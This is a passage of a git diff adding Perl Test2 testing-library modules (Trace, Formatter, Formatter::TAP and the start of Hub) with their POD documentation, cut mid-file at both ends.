+ $_[0]->{+DETAILS} = delete $_[0]->{detail} if $_[0]->{detail};
+
+ $_[0]->{+PID} = $$ unless defined $_[0]->{+PID};
+ $_[0]->{+TID} = get_tid() unless defined $_[0]->{+TID};
+}
+
+sub snapshot {
+ my ($orig, @override) = @_;
+ bless {%$orig, @override}, __PACKAGE__;
+}
+
+sub signature {
+ my $self = shift;
+
+ # Signature is only valid if all of these fields are defined, there is no
+ # signature if any is missing. '0' is ok, but '' is not.
+ return join ':' => map { (defined($_) && length($_)) ? $_ : return undef } (
+ $self->{+CID},
+ $self->{+PID},
+ $self->{+TID},
+ $self->{+FRAME}->[1],
+ $self->{+FRAME}->[2],
+ );
+}
+
+sub debug {
+ my $self = shift;
+ return $self->{+DETAILS} if $self->{+DETAILS};
+ my ($pkg, $file, $line) = $self->call;
+ return "at $file line $line";
+}
+
+sub alert {
+ my $self = shift;
+ my ($msg) = @_;
+ warn $msg . ' ' . $self->debug . ".\n";
+}
+
+sub throw {
+ my $self = shift;
+ my ($msg) = @_;
+ die $msg . ' ' . $self->debug . ".\n";
+}
+
+sub call { @{$_[0]->{+FRAME}} }
+
+sub package { $_[0]->{+FRAME}->[0] }
+sub file { $_[0]->{+FRAME}->[1] }
+sub line { $_[0]->{+FRAME}->[2] }
+sub subname { $_[0]->{+FRAME}->[3] }
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::EventFacet::Trace - Debug information for events
+
+=head1 DESCRIPTION
+
+The L<Test2::API::Context> object, as well as all L<Test2::Event> types need to
+have access to information about where they were created. This object
+represents that information.
+
+=head1 SYNOPSIS
+
+ use Test2::EventFacet::Trace;
+
+ my $trace = Test2::EventFacet::Trace->new(
+ frame => [$package, $file, $line, $subname],
+ );
+
+=head1 FACET FIELDS
+
+=over 4
+
+=item $string = $trace->{details}
+
+=item $string = $trace->details()
+
+Used as a custom trace message that will be used INSTEAD of
+C<< at <FILE> line <LINE> >> when calling C<< $trace->debug >>.
+
+=item $frame = $trace->{frame}
+
+=item $frame = $trace->frame()
+
+Get the call frame arrayref.
+
+=item $int = $trace->{pid}
+
+=item $int = $trace->pid()
+
+The process ID in which the event was generated.
+
+=item $int = $trace->{tid}
+
+=item $int = $trace->tid()
+
+The thread ID in which the event was generated.
+
+=item $id = $trace->{cid}
+
+=item $id = $trace->cid()
+
+The ID of the context that was used to create the event.
+
+=item $uuid = $trace->{uuid}
+
+=item $uuid = $trace->uuid()
+
+The UUID of the context that was used to create the event. (If uuid tagging was
+enabled)
+
+=back
+
+=head2 DISCOURAGED HUB RELATED FIELDS
+
+These fields were not always set properly by tools. These are B<MOSTLY>
+deprecated by the L<Test2::EventFacet::Hub> facets. These fields are not
+required, and may only reflect the hub that was current when the event was
+created, which is not necessarily the same as the hub the event was sent
+through.
+
+Some tools did do a good job setting these to the correct hub, but you cannot
+always rely on that. Use the 'hubs' facet list instead.
+
+=over 4
+
+=item $hid = $trace->{hid}
+
+=item $hid = $trace->hid()
+
+The ID of the hub that was current when the event was created.
+
+=item $huuid = $trace->{huuid}
+
+=item $huuid = $trace->huuid()
+
+The UUID of the hub that was current when the event was created. (If uuid
+tagging was enabled).
+
+=item $int = $trace->{nested}
+
+=item $int = $trace->nested()
+
+How deeply nested the event is.
+
+=item $bool = $trace->{buffered}
+
+=item $bool = $trace->buffered()
+
+True if the event was buffered and not sent to the formatter independent of a
+parent (This should never be set when nested is C<0> or C<undef>).
+
+=back
+
+=head1 METHODS
+
+B<Note:> All facet frames are also methods.
+
+=over 4
+
+=item $trace->set_detail($msg)
+
+=item $msg = $trace->detail
+
+Used to get/set a custom trace message that will be used INSTEAD of
+C<< at <FILE> line <LINE> >> when calling C<< $trace->debug >>.
+
+C<detail()> is an alias to the C<details> facet field for backwards
+compatibility.
+
+=item $str = $trace->debug
+
+Typically returns the string C<< at <FILE> line <LINE> >>. If C<detail> is set
+then its value will be returned instead.
+
+=item $trace->alert($MESSAGE)
+
+This issues a warning at the frame (filename and line number where
+errors should be reported).
+
+=item $trace->throw($MESSAGE)
+
+This throws an exception at the frame (filename and line number where
+errors should be reported).
+
+=item ($package, $file, $line, $subname) = $trace->call()
+
+Get the caller details for the debug-info. This is where errors should be
+reported.
+
+=item $pkg = $trace->package
+
+Get the debug-info package.
+
+=item $file = $trace->file
+
+Get the debug-info filename.
+
+=item $line = $trace->line
+
+Get the debug-info line number.
+
+=item $subname = $trace->subname
+
+Get the debug-info subroutine name.
+
+=item $sig = trace->signature
+
+Get a signature string that identifies this trace. This is used to check if
+multiple events are related.
+
+If UUID's are enabled then a uuid is returned. Otherwise the signature includes
+pid, tid, file, line number, and the cid which is C<'C\d+'> for traces created
+by a context, or C<'T\d+'> for traces created by C<new()>.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter.pm
new file mode 100644
index 00000000000..0f179e59bcb
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter.pm
@@ -0,0 +1,145 @@
+package Test2::Formatter;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+my %ADDED;
+sub import {
+ my $class = shift;
+ return if $class eq __PACKAGE__;
+ return if $ADDED{$class}++;
+ require Test2::API;
+ Test2::API::test2_formatter_add($class);
+}
+
+sub new_root {
+ my $class = shift;
+ return $class->new(@_);
+}
+
+sub hide_buffered { 1 }
+
+sub terminate { }
+
+sub finalize { }
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Formatter - Namespace for formatters.
+
+=head1 DESCRIPTION
+
+This is the namespace for formatters. This is an empty package.
+
+=head1 CREATING FORMATTERS
+
+A formatter is any package or object with a C<write($event, $num)> method.
+
+ package Test2::Formatter::Foo;
+ use strict;
+ use warnings;
+
+ sub write {
+ my $self_or_class = shift;
+ my ($event, $assert_num) = @_;
+ ...
+ }
+
+ sub hide_buffered { 1 }
+
+ sub terminate { }
+
+ sub finalize { }
+
+ sub new_root {
+ my $class = shift;
+ ...
+ $class->new(@_);
+ }
+
+ 1;
+
+The C<write> method is a method, so it either gets a class or instance. The two
+arguments are the C<$event> object it should record, and the C<$assert_num>
+which is the number of the current assertion (ok), or the last assertion if
+this event is not itself an assertion. The assertion number may be any integer 0
+or greater, and may be undefined in some cases.
+
+The C<hide_buffered()> method must return a boolean. This is used to tell
+buffered subtests whether or not to send it events as they are being buffered.
+See L<Test2::API/"run_subtest(...)"> for more information.
+
+The C<terminate> and C<finalize> methods are optional methods called that you
+can implement if the format you're generating needs to handle these cases, for
+example if you are generating XML and need close open tags.
+
+The C<terminate> method is called when an event's C<terminate> method returns
+true, for example when a L<Test2::Event::Plan> has a C<'skip_all'> plan, or
+when a L<Test2::Event::Bail> event is sent. The C<terminate> method is passed
+a single argument, the L<Test2::Event> object which triggered the terminate.
+
+The C<finalize> method is always the last thing called on the formatter, I<<
+except when C<terminate> is called for a Bail event >>. It is passed the
+following arguments:
+
+The C<new_root> method is called when C<Test2::API::Stack> Initializes the root
+hub for the first time. Most formatters will simply have this call C<<
+$class->new >>, which is the default behavior. Some formatters however may want
+to take extra action during construction of the root formatter, this is where
+they can do that.
+
+=over 4
+
+=item * The number of tests that were planned
+
+=item * The number of tests actually seen
+
+=item * The number of tests which failed
+
+=item * A boolean indicating whether or not the test suite passed
+
+=item * A boolean indicating whether or not this call is for a subtest
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
new file mode 100644
index 00000000000..2082de7b8f9
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Formatter/TAP.pm
@@ -0,0 +1,487 @@
+package Test2::Formatter::TAP;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+use Test2::Util qw/clone_io/;
+
+use Test2::Util::HashBase qw{
+ no_numbers handles _encoding _last_fh
+ -made_assertion
+};
+
+sub OUT_STD() { 0 }
+sub OUT_ERR() { 1 }
+
+BEGIN { require Test2::Formatter; our @ISA = qw(Test2::Formatter) }
+
+sub _autoflush {
+ my($fh) = pop;
+ my $old_fh = select $fh;
+ $| = 1;
+ select $old_fh;
+}
+
+_autoflush(\*STDOUT);
+_autoflush(\*STDERR);
+
+sub hide_buffered { 1 }
+
+sub init {
+ my $self = shift;
+
+ $self->{+HANDLES} ||= $self->_open_handles;
+ if(my $enc = delete $self->{encoding}) {
+ $self->encoding($enc);
+ }
+}
+
+sub _open_handles {
+ my $self = shift;
+
+ require Test2::API;
+ my $out = clone_io(Test2::API::test2_stdout());
+ my $err = clone_io(Test2::API::test2_stderr());
+
+ _autoflush($out);
+ _autoflush($err);
+
+ return [$out, $err];
+}
+
+sub encoding {
+ my $self = shift;
+
+ if ($] ge "5.007003" and @_) {
+ my ($enc) = @_;
+ my $handles = $self->{+HANDLES};
+
+ # https://rt.perl.org/Public/Bug/Display.html?id=31923
+ # If utf8 is requested we use ':utf8' instead of ':encoding(utf8)' in
+ # order to avoid the thread segfault.
+ if ($enc =~ m/^utf-?8$/i) {
+ binmode($_, ":utf8") for @$handles;
+ }
+ else {
+ binmode($_, ":encoding($enc)") for @$handles;
+ }
+ $self->{+_ENCODING} = $enc;
+ }
+
+ return $self->{+_ENCODING};
+}
+
+if ($^C) {
+ no warnings 'redefine';
+ *write = sub {};
+}
+sub write {
+ my ($self, $e, $num, $f) = @_;
+
+ # The most common case, a pass event with no amnesty and a normal name.
+ return if $self->print_optimal_pass($e, $num);
+
+ $f ||= $e->facet_data;
+
+ $self->encoding($f->{control}->{encoding}) if $f->{control}->{encoding};
+
+ my @tap = $self->event_tap($f, $num) or return;
+
+ $self->{+MADE_ASSERTION} = 1 if $f->{assert};
+
+ my $nesting = $f->{trace}->{nested} || 0;
+ my $handles = $self->{+HANDLES};
+ my $indent = ' ' x $nesting;
+
+ # Local is expensive! Only do it if we really need to.
+ local($\, $,) = (undef, '') if $\ || $,;
+ for my $set (@tap) {
+ no warnings 'uninitialized';
+ my ($hid, $msg) = @$set;
+ next unless $msg;
+ my $io = $handles->[$hid] or next;
+
+ print $io "\n"
+ if $ENV{HARNESS_ACTIVE}
+ && !$ENV{HARNESS_IS_VERBOSE}
+ && $hid == OUT_ERR
+ && $self->{+_LAST_FH} != $io
+ && $msg =~ m/^#\s*Failed test /;
+
+ $msg =~ s/^/$indent/mg if $nesting;
+ print $io $msg;
+ $self->{+_LAST_FH} = $io;
+ }
+}
+
+sub print_optimal_pass {
+ my ($self, $e, $num) = @_;
+
+ my $type = ref($e);
+
+ # Only optimal if this is a Pass or a passing Ok
+ return unless $type eq 'Test2::Event::Pass' || ($type eq 'Test2::Event::Ok' && $e->{pass});
+
+ # Amnesty requires further processing (todo is a form of amnesty)
+ return if ($e->{amnesty} && @{$e->{amnesty}}) || defined($e->{todo});
+
+ # A name with a newline or hash symbol needs extra processing
+ return if defined($e->{name}) && (-1 != index($e->{name}, "\n") || -1 != index($e->{name}, '#'));
+
+ my $ok = 'ok';
+ $ok .= " $num" if $num && !$self->{+NO_NUMBERS};
+ $ok .= defined($e->{name}) ? " - $e->{name}\n" : "\n";
+
+ if (my $nesting = $e->{trace}->{nested}) {
+ my $indent = ' ' x $nesting;
+ $ok = "$indent$ok";
+ }
+
+ my $io = $self->{+HANDLES}->[OUT_STD];
+
+ local($\, $,) = (undef, '') if $\ || $,;
+ print $io $ok;
+ $self->{+_LAST_FH} = $io;
+
+ return 1;
+}
+
+sub event_tap {
+ my ($self, $f, $num) = @_;
+
+ my @tap;
+
+ # If this IS the first event the plan should come first
+ # (plan must be before or after assertions, not in the middle)
+ push @tap => $self->plan_tap($f) if $f->{plan} && !$self->{+MADE_ASSERTION};
+
+ # The assertion is most important, if present.
+ if ($f->{assert}) {
+ push @tap => $self->assert_tap($f, $num);
+ push @tap => $self->debug_tap($f, $num) unless $f->{assert}->{no_debug} || $f->{assert}->{pass};
+ }
+
+ # Almost as important as an assertion
+ push @tap => $self->error_tap($f) if $f->{errors};
+
+ # Now lets see the diagnostics messages
+ push @tap => $self->info_tap($f) if $f->{info};
+
+ # If this IS NOT the first event the plan should come last
+ # (plan must be before or after assertions, not in the middle)
+ push @tap => $self->plan_tap($f) if $self->{+MADE_ASSERTION} && $f->{plan};
+
+ # Bail out
+ push @tap => $self->halt_tap($f) if $f->{control}->{halt};
+
+ return @tap if @tap;
+ return @tap if $f->{control}->{halt};
+ return @tap if grep { $f->{$_} } qw/assert plan info errors/;
+
+ # Use the summary as a fallback if nothing else is usable.
+ return $self->summary_tap($f, $num);
+}
+
+sub error_tap {
+ my $self = shift;
+ my ($f) = @_;
+
+ my $IO = ($f->{amnesty} && @{$f->{amnesty}}) ? OUT_STD : OUT_ERR;
+
+ return map {
+ my $details = $_->{details};
+
+ my $msg;
+ if (ref($details)) {
+ require Data::Dumper;
+ my $dumper = Data::Dumper->new([$details])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1);
+ chomp($msg = $dumper->Dump);
+ }
+ else {
+ chomp($msg = $details);
+ $msg =~ s/^/# /;
+ $msg =~ s/\n/\n# /g;
+ }
+
+ [$IO, "$msg\n"];
+ } @{$f->{errors}};
+}
+
+sub plan_tap {
+ my $self = shift;
+ my ($f) = @_;
+ my $plan = $f->{plan} or return;
+
+ return if $plan->{none};
+
+ if ($plan->{skip}) {
+ my $reason = $plan->{details} or return [OUT_STD, "1..0 # SKIP\n"];
+ chomp($reason);
+ return [OUT_STD, '1..0 # SKIP ' . $reason . "\n"];
+ }
+
+ return [OUT_STD, "1.." . $plan->{count} . "\n"];
+}
+
+sub no_subtest_space { 0 }
+sub assert_tap {
+ my $self = shift;
+ my ($f, $num) = @_;
+
+ my $assert = $f->{assert} or return;
+ my $pass = $assert->{pass};
+ my $name = $assert->{details};
+
+ my $ok = $pass ? 'ok' : 'not ok';
+ $ok .= " $num" if $num && !$self->{+NO_NUMBERS};
+
+ # The regex form is ~250ms, the index form is ~50ms
+ my @extra;
+ defined($name) && (
+ (index($name, "\n") != -1 && (($name, @extra) = split(/\n\r?/, $name, -1))),
+ ((index($name, "#" ) != -1 || substr($name, -1) eq '\\') && (($name =~ s|\\|\\\\|g), ($name =~ s|#|\\#|g)))
+ );
+
+ my $extra_space = @extra ? ' ' x (length($ok) + 2) : '';
+ my $extra_indent = '';
+
+ my ($directives, $reason, $is_skip);
+ if ($f->{amnesty}) {
+ my %directives;
+
+ for my $am (@{$f->{amnesty}}) {
+ next if $am->{inherited};
+ my $tag = $am->{tag} or next;
+ $is_skip = 1 if $tag eq 'skip';
+
+ $directives{$tag} ||= $am->{details};
+ }
+
+ my %seen;
+ my @order = grep { !$seen{$_}++ } sort keys %directives;
+
+ $directives = ' # ' . join ' & ' => @order;
+
+ for my $tag ('skip', @order) {
+ next unless defined($directives{$tag}) && length($directives{$tag});
+ $reason = $directives{$tag};
+ last;
+ }
+ }
+
+ $ok .= " - $name" if defined $name && !($is_skip && !$name);
+
+ my @subtap;
+ if ($f->{parent} && $f->{parent}->{buffered}) {
+ $ok .= ' {';
+
+ # In a verbose harness we indent the extra since they will appear
+ # inside the subtest braces. This helps readability. In a non-verbose
+ # harness we do not do this because it is less readable.
+ if ($ENV{HARNESS_IS_VERBOSE} || !$ENV{HARNESS_ACTIVE}) {
+ $extra_indent = " ";
+ $extra_space = ' ';
+ }
+
+ # Render the sub-events, we use our own counter for these.
+ my $count = 0;
+ @subtap = map {
+ my $f2 = $_;
+
+ # Bump the count for any event that should bump it.
+ $count++ if $f2->{assert};
+
+ # This indents all output lines generated for the sub-events.
+ # index 0 is the filehandle, index 1 is the message we want to indent.
+ map { $_->[1] =~ s/^(.*\S.*)$/ $1/mg; $_ } $self->event_tap($f2, $count);
+ } @{$f->{parent}->{children}};
+
+ push @subtap => [OUT_STD, "}\n"];
+ }
+
+ if ($directives) {
+ $directives = ' # TODO & SKIP' if $directives eq ' # TODO & skip';
+ $ok .= $directives;
+ $ok .= " $reason" if defined($reason);
+ }
+
+ $extra_space = ' ' if $self->no_subtest_space;
+
+ my @out = ([OUT_STD, "$ok\n"]);
+ push @out => map {[OUT_STD, "${extra_indent}#${extra_space}$_\n"]} @extra if @extra;
+ push @out => @subtap;
+
+ return @out;
+}
+
+sub debug_tap {
+ my ($self, $f, $num) = @_;
+
+ # Figure out the debug info, this is typically the file name and line
+ # number, but can also be a custom message. If no trace object is provided
+ # then we have nothing useful to display.
+ my $name = $f->{assert}->{details};
+ my $trace = $f->{trace};
+
+ my $debug = "[No trace info available]";
+ if ($trace->{details}) {
+ $debug = $trace->{details};
+ }
+ elsif ($trace->{frame}) {
+ my ($pkg, $file, $line) = @{$trace->{frame}};
+ $debug = "at $file line $line." if $file && $line;
+ }
+
+ my $amnesty = $f->{amnesty} && @{$f->{amnesty}}
+ ? ' (with amnesty)'
+ : '';
+
+ # Create the initial diagnostics. If the test has a name we put the debug
+ # info on a second line, this behavior is inherited from Test::Builder.
+ my $msg = defined($name)
+ ? qq[# Failed test${amnesty} '$name'\n# $debug\n]
+ : qq[# Failed test${amnesty} $debug\n];
+
+ my $IO = $f->{amnesty} && @{$f->{amnesty}} ? OUT_STD : OUT_ERR;
+
+ return [$IO, $msg];
+}
+
+sub halt_tap {
+ my ($self, $f) = @_;
+
+ return if $f->{trace}->{nested} && !$f->{trace}->{buffered};
+ my $details = $f->{control}->{details};
+
+ return [OUT_STD, "Bail out!\n"] unless defined($details) && length($details);
+ return [OUT_STD, "Bail out! $details\n"];
+}
+
+sub info_tap {
+ my ($self, $f) = @_;
+
+ return map {
+ my $details = $_->{details};
+
+ my $IO = $_->{debug} && !($f->{amnesty} && @{$f->{amnesty}}) ? OUT_ERR : OUT_STD;
+
+ my $msg;
+ if (ref($details)) {
+ require Data::Dumper;
+ my $dumper = Data::Dumper->new([$details])->Indent(2)->Terse(1)->Pad('# ')->Useqq(1)->Sortkeys(1);
+ chomp($msg = $dumper->Dump);
+ }
+ else {
+ chomp($msg = $details);
+ $msg =~ s/^/# /;
+ $msg =~ s/\n/\n# /g;
+ }
+
+ [$IO, "$msg\n"];
+ } @{$f->{info}};
+}
+
+sub summary_tap {
+ my ($self, $f, $num) = @_;
+
+ return if $f->{about}->{no_display};
+
+ my $summary = $f->{about}->{details} or return;
+ chomp($summary);
+ $summary =~ s/^/# /smg;
+
+ return [OUT_STD, "$summary\n"];
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Formatter::TAP - Standard TAP formatter
+
+=head1 DESCRIPTION
+
+This is what takes events and turns them into TAP.
+
+=head1 SYNOPSIS
+
+ use Test2::Formatter::TAP;
+ my $tap = Test2::Formatter::TAP->new();
+
+ # Switch to utf8
+ $tap->encoding('utf8');
+
+ $tap->write($event, $number); # Output an event
+
+=head1 METHODS
+
+=over 4
+
+=item $bool = $tap->no_numbers
+
+=item $tap->set_no_numbers($bool)
+
+Use to turn numbers on and off.
+
+=item $arrayref = $tap->handles
+
+=item $tap->set_handles(\@handles);
+
+Can be used to get/set the filehandles. Indexes are identified by the
+C<OUT_STD> and C<OUT_ERR> constants.
+
+=item $encoding = $tap->encoding
+
+=item $tap->encoding($encoding)
+
+Get or set the encoding. By default no encoding is set, the original settings
+of STDOUT and STDERR are used.
+
+This directly modifies the stored filehandles, it does not create new ones.
+
+=item $tap->write($e, $num)
+
+Write an event to the console.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=item Kent Fredric E<lt>kentnl@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub.pm
new file mode 100644
index 00000000000..6be1c8d1f52
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Hub.pm
@@ -0,0 +1,908 @@
+package Test2::Hub;
+use strict;
+use warnings;
+
+our $VERSION = '1.302133';
+
+
+use Carp qw/carp croak confess/;
+use Test2::Util qw/get_tid ipc_separator/;
+
+use Scalar::Util qw/weaken/;
+use List::Util qw/first/;
+
+use Test2::Util::ExternalMeta qw/meta get_meta set_meta delete_meta/;
+use Test2::Util::HashBase qw{
+ pid tid hid ipc
+ nested buffered
+ no_ending
+ _filters
+ _pre_filters
+ _listeners
+ _follow_ups
+ _formatter
+ _context_acquire
+ _context_init
+ _context_release
+
+ uuid
+ active
+ count
+ failed
+ ended
+ bailed_out
+ _passing
+ _plan
+ skip_reason
+};
+
+my $UUID_VIA;
+
+my $ID_POSTFIX = 1;
+sub init {
+ my $self = shift;
+
+ $self->{+PID} = $$;
+ $self->{+TID} = get_tid();
+ $self->{+HID} = join ipc_separator, $self->{+PID}, $self->{+TID}, $ID_POSTFIX++;
+
+ $UUID_VIA ||= Test2::API::_add_uuid_via_ref();
+ $self->{+UUID} = ${$UUID_VIA}->('hub') if $$UUID_VIA;
+
+ $self->{+NESTED} = 0 unless defined $self->{+NESTED};
+ $self->{+BUFFERED} = 0 unless defined $self->{+BUFFERED};
+
+ $self->{+COUNT} = 0;
+ $self->{+FAILED} = 0;
+ $self->{+_PASSING} = 1;
+
+ if (my $formatter = delete $self->{formatter}) {
+ $self->format($formatter);
+ }
+
+ if (my $ipc = $self->{+IPC}) {
+ $ipc->add_hub($self->{+HID});
+ }
+}
+
+sub is_subtest { 0 }
+
+sub _tb_reset {
+ my $self = shift;
+
+ # Nothing to do
+ return if $self->{+PID} == $$ && $self->{+TID} == get_tid();
+
+ $self->{+PID} = $$;
+ $self->{+TID} = get_tid();
+ $self->{+HID} = join ipc_separator, $self->{+PID}, $self->{+TID}, $ID_POSTFIX++;
+
+ if (my $ipc = $self->{+IPC}) {
+ $ipc->add_hub($self->{+HID});
+ }
+}
+
+sub reset_state {
+ my $self = shift;
+
+ $self->{+COUNT} = 0;
+ $self->{+FAILED} = 0;
+ $self->{+_PASSING} = 1;
+
+ delete $self->{+_PLAN};
+ delete $self->{+ENDED};
+ delete $self->{+BAILED_OUT};
+ delete $self->{+SKIP_REASON};
+}
+
+sub inherit {
+ my $self = shift;
+ my ($from, %params) = @_;
+
+ $self->{+NESTED} ||= 0;
+
+ $self->{+_FORMATTER} = $from->{+_FORMATTER}
+ unless $self->{+_FORMATTER} || exists($params{formatter});
+
+ if ($from->{+IPC} && !$self->{+IPC} && !exists($params{ipc})) {
+ my $ipc = $from->{+IPC};
+ $self->{+IPC} = $ipc;
+ $ipc->add_hub($self->{+HID});
+ }
+
+ if (my $ls = $from->{+_LISTENERS}) {
+ push @{$self->{+_LISTENERS}} => grep { $_->{inherit} } @$ls;
+ }
+
+ if (my $pfs = $from->{+_PRE_FILTERS}) {
+ push @{$self->{+_PRE_FILTERS}} => grep { $_->{inherit} } @$pfs;
+ }
+
+ if (my $fs = $from->{+_FILTERS}) {
+ push @{$self->{+_FILTERS}} => grep { $_->{inherit} } @$fs;
+ }
+}
+
+sub format {
+ my $self = shift;
+
+ my $old = $self->{+_FORMATTER};
+ ($self->{+_FORMATTER}) = @_ if @_;
+
+ return $old;
+}
+
+sub is_local {
+ my $self = shift;
+ return $$ == $self->{+PID}
+ && get_tid() == $self->{+TID};
+}
+
+sub listen {
+ my $self = shift;
+ my ($sub, %params) = @_;
+
+ carp "Useless addition of a listener in a child process or thread!"
+ if $$ != $self->{+PID} || get_tid() != $self->{+TID};
+
+ croak "listen only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_LISTENERS}} => { %params, code => $sub };
+
+ $sub; # Intentional return.
+}
+
+sub unlisten {
+ my $self = shift;
+
+ carp "Useless removal of a listener in a child process or thread!"
+ if $$ != $self->{+PID} || get_tid() != $self->{+TID};
+
+ my %subs = map {$_ => $_} @_;
+
+ @{$self->{+_LISTENERS}} = grep { !$subs{$_->{code}} } @{$self->{+_LISTENERS}};
+}
+
+sub filter {
+ my $self = shift;
+ my ($sub, %params) = @_;
+
+ carp "Useless addition of a filter in a child process or thread!"
+ if $$ != $self->{+PID} || get_tid() != $self->{+TID};
+
+ croak "filter only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_FILTERS}} => { %params, code => $sub };
+
+ $sub; # Intentional Return
+}
+
+sub unfilter {
+ my $self = shift;
+ carp "Useless removal of a filter in a child process or thread!"
+ if $$ != $self->{+PID} || get_tid() != $self->{+TID};
+ my %subs = map {$_ => $_} @_;
+ @{$self->{+_FILTERS}} = grep { !$subs{$_->{code}} } @{$self->{+_FILTERS}};
+}
+
+sub pre_filter {
+ my $self = shift;
+ my ($sub, %params) = @_;
+
+ croak "pre_filter only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_PRE_FILTERS}} => { %params, code => $sub };
+
+ $sub; # Intentional Return
+}
+
+sub pre_unfilter {
+ my $self = shift;
+ my %subs = map {$_ => $_} @_;
+ @{$self->{+_PRE_FILTERS}} = grep { !$subs{$_->{code}} } @{$self->{+_PRE_FILTERS}};
+}
+
+sub follow_up {
+ my $self = shift;
+ my ($sub) = @_;
+
+ carp "Useless addition of a follow-up in a child process or thread!"
+ if $$ != $self->{+PID} || get_tid() != $self->{+TID};
+
+ croak "follow_up only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_FOLLOW_UPS}} => $sub;
+}
+
+*add_context_aquire = \&add_context_acquire;
+sub add_context_acquire {
+ my $self = shift;
+ my ($sub) = @_;
+
+ croak "add_context_acquire only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_CONTEXT_ACQUIRE}} => $sub;
+
+ $sub; # Intentional return.
+}
+
+*remove_context_aquire = \&remove_context_acquire;
+sub remove_context_acquire {
+ my $self = shift;
+ my %subs = map {$_ => $_} @_;
+ @{$self->{+_CONTEXT_ACQUIRE}} = grep { !$subs{$_} == $_ } @{$self->{+_CONTEXT_ACQUIRE}};
+}
+
+sub add_context_init {
+ my $self = shift;
+ my ($sub) = @_;
+
+ croak "add_context_init only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_CONTEXT_INIT}} => $sub;
+
+ $sub; # Intentional return.
+}
+
+sub remove_context_init {
+ my $self = shift;
+ my %subs = map {$_ => $_} @_;
+ @{$self->{+_CONTEXT_INIT}} = grep { !$subs{$_} == $_ } @{$self->{+_CONTEXT_INIT}};
+}
+
+sub add_context_release {
+ my $self = shift;
+ my ($sub) = @_;
+
+ croak "add_context_release only takes coderefs for arguments, got '$sub'"
+ unless ref $sub && ref $sub eq 'CODE';
+
+ push @{$self->{+_CONTEXT_RELEASE}} => $sub;
+
+ $sub; # Intentional return.
+}
+
+sub remove_context_release {
+ my $self = shift;
+ my %subs = map {$_ => $_} @_;
+ @{$self->{+_CONTEXT_RELEASE}} = grep { !$subs{$_} == $_ } @{$self->{+_CONTEXT_RELEASE}};
+}
+
+sub send {
+ my $self = shift;
+ my ($e) = @_;
+
+ $e->add_hub(
+ {
+ details => ref($self),
+
+ buffered => $self->{+BUFFERED},
+ hid => $self->{+HID},
+ nested => $self->{+NESTED},
+ pid => $self->{+PID},
+ tid => $self->{+TID},
+ uuid => $self->{+UUID},
+
+ ipc => $self->{+IPC} ? 1 : 0,
+ }
+ );
+
+ $e->set_uuid(${$UUID_VIA}->('event')) if $$UUID_VIA;
+
+ if ($self->{+_PRE_FILTERS}) {
+ for (@{$self->{+_PRE_FILTERS}}) {
+ $e = $_->{code}->($self, $e);
+ return unless $e;
+ }
+ }
+
+ my $ipc = $self->{+IPC} || return $self->process($e);
+
+ if($e->global) {
+ $ipc->send($self->{+HID}, $e, 'GLOBAL');
+ return $self->process($e);
+ }
+
